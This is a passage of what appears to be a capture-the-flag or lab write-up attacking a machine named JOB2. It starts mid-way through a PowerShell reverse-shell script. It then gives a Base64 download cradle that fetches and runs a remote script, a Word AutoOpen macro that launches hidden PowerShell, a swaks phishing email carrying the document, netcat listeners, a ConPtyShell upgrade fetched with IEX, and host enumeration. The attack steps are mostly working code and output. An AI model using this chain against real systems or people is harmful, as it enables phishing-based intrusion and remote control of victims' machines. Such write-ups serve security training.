        &lt;/span&gt;&lt;span class="nv"&gt;$Code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;text.encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;UTF8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$RawData&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$TCPClient&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Connected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$Code&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-gt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$Output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Invoke-Expression&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$StreamWriter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Output&lt;/span&gt;&lt;span class="se"&gt;`n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$Code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$null&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$TCPClient&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$NetworkStream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$StreamReader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$StreamWriter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2 - Base64-encode a download cradle
&lt;/h3&gt;

&lt;p&gt;Instead of embedding the full shell script inside the macro (which could trigger AV), we use a download cradle: the macro tells PowerShell to fetch &lt;code&gt;shell.ps1&lt;/code&gt; from our HTTP server and execute it in memory. We encode the cradle in UTF-16LE Base64 (the format PowerShell's &lt;code&gt;-EncodedCommand&lt;/code&gt; flag expects):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'IEX(New-Object Net.WebClient).DownloadString("http://&amp;lt;YOUR_IP&amp;gt;/shell.ps1")'&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | iconv &lt;span class="nt"&gt;-t&lt;/span&gt; UTF-16LE | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Replace &lt;code&gt;&amp;lt;YOUR_IP&amp;gt;&lt;/code&gt; with your own attacker IP and re-run the encoding to generate your own base64 string.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Step 3 - Create the malicious Word document
&lt;/h3&gt;

&lt;p&gt;This requires a Windows machine with Microsoft Word (Microsoft 365 or an activated license). The VBA project name in the editor will match your &lt;code&gt;.docm&lt;/code&gt; filename - saving as &lt;code&gt;evil.docm&lt;/code&gt; means the project shows as &lt;code&gt;Project (evil)&lt;/code&gt; in the VBA editor.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open Word → create a new &lt;code&gt;.docm&lt;/code&gt; file, save it as &lt;code&gt;evil.docm&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;View → Macros&lt;/strong&gt;, type &lt;code&gt;AutoOpen&lt;/code&gt; → click &lt;strong&gt;Create&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;In the VBA editor, right-click &lt;strong&gt;Project (evil)&lt;/strong&gt; → &lt;strong&gt;Insert → Module&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Paste the following macro. &lt;code&gt;AutoOpen&lt;/code&gt; fires on open; &lt;code&gt;Document_Open&lt;/code&gt; is a fallback for some Word versions:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sub AutoOpen()
    Shell "powershell -nop -w hidden -ep bypass -e &amp;lt;YOUR_BASE64_HERE&amp;gt;", vbHide
End Sub
Sub Document_Open()
    AutoOpen
End Sub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save as &lt;code&gt;evil.docm&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 - Host the payload and set up the listener
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rlwrap &lt;span class="nt"&gt;-cAr&lt;/span&gt; nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(&lt;code&gt;rlwrap&lt;/code&gt; adds readline support — arrow keys and command history in the shell.)&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 - Send the phishing email
&lt;/h3&gt;

&lt;p&gt;We use &lt;code&gt;swaks&lt;/code&gt; (Swiss Army Knife for SMTP) to send the malicious document directly to &lt;code&gt;hr@job2.vl&lt;/code&gt; via port 25. No authentication is required:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;swaks &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--to&lt;/span&gt; hr@job2.vl &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--from&lt;/span&gt; exploit@notes.com &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s1"&gt;'Subject: Job Application'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--body&lt;/span&gt; &lt;span class="s2"&gt;"Please review my resume"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--attach&lt;/span&gt; @evil.docm &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--server&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;=== Connected to &amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;-  220 JOB2 ESMTP
&lt;/span&gt;&lt;span class="gp"&gt; -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;MAIL FROM:&amp;lt;exploit@notes.com&amp;gt;
&lt;span class="go"&gt;&amp;lt;-  250 OK
&lt;/span&gt;&lt;span class="gp"&gt; -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;RCPT TO:&amp;lt;hr@job2.vl&amp;gt;
&lt;span class="go"&gt;&amp;lt;-  250 OK
&lt;/span&gt;&lt;span class="gp"&gt; -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;DATA
&lt;span class="go"&gt;... [attachment sent] ...
&amp;lt;** 250 Queued (35.408 seconds)
=== Connection closed with remote host.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note on timeouts:&lt;/strong&gt; The connection may time out waiting for a server response, but as long as &lt;code&gt;250 Queued&lt;/code&gt; appears, the payload will execute — the mail bot opens the document automatically.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Shortly after, our HTTP server gets a hit and the listener catches the callback:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;- - &lt;span class="s2"&gt;"GET /shell.ps1 HTTP/1.1"&lt;/span&gt; 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
connect to &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;YOUR_IP&amp;gt;] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;TARGET_IP&amp;gt;] 57097

&lt;span class="nb"&gt;hostname
&lt;/span&gt;JOB2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have a shell as &lt;code&gt;job2\julian&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Stable Shell with ConPtyShell
&lt;/h2&gt;

&lt;p&gt;The initial Netcat shell is limited - no tab completion, no arrow keys. We upgrade to a full interactive PTY using &lt;strong&gt;ConPtyShell&lt;/strong&gt;, which uses the Windows ConPTY API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/antonioCoco/ConPtyShell.git
&lt;span class="nb"&gt;cd &lt;/span&gt;ConPtyShell
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;IEX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iwr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;YOUR_IP&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nx"&gt;8000/Invoke-ConPtyShell.ps1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-UseBasicParsing&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Invoke-ConPtyShell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;YOUR_IP&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;4445&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Listener on our end:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;stty &lt;/span&gt;raw &lt;span class="nt"&gt;-echo&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;stty &lt;/span&gt;size&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt; | nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4445
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Windows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PowerShell&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Copyright&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Microsoft&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Corporation.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;All&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rights&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;reserved.&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\WINDOWS\system32&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We now have a fully interactive PowerShell session.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Post-Exploitation as Julian
&lt;/h2&gt;

&lt;p&gt;We check our user context and privileges:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/all&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;job2\julian&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Integrity&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Medium&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Mandatory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Level&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Privilege&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nx"&gt;Description&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;=============================&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==============================&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;========&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;SeChangeNotifyPrivilege&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nx"&gt;Bypass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;traverse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;checking&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nx"&gt;Enabled&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;SeIncreaseWorkingSetPrivilege&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Increase&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;working&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Disabled&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;ERROR:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Unable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;claims&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;information.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Julian is a low-privilege standard user - no &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; or other useful tokens. We list all local accounts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;accounts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\\JOB2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;-------------------------------------------------------------------------------&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;DefaultAccount&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;Ferdinand&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Guest&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;Julian&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;svc_veeam&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;WDAGUtilityAccount&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notable: &lt;code&gt;Ferdinand&lt;/code&gt;, &lt;code&gt;Administrator&lt;/code&gt;, and service account &lt;code&gt;svc_veeam&lt;/code&gt;. Ferdinand's directory is access-denied. Julian's Desktop only has a Word shortcut — confirming Julian is the HR bot account that opened our phishing document.&lt;/p&gt;

&lt;p&gt;We explore &lt;code&gt;C:\&lt;/code&gt; for interesting directories:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Directory:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Mode&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;LastWriteTime&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-------------&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;5/3/2023&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nx"&gt;VBRCatalog&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;VBRCatalog&lt;/code&gt; stands out - VBR is &lt;strong&gt;Veeam Backup &amp;amp; Replication&lt;/strong&gt;. We also enumerate &lt;code&gt;Program Files (x86)&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Directory:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;5/3/2023&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;hMailServer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;5/3/2023&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;Microsoft&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SQL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Compact&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Edition&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;5/3/2023&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;Veeam&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;snipped&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
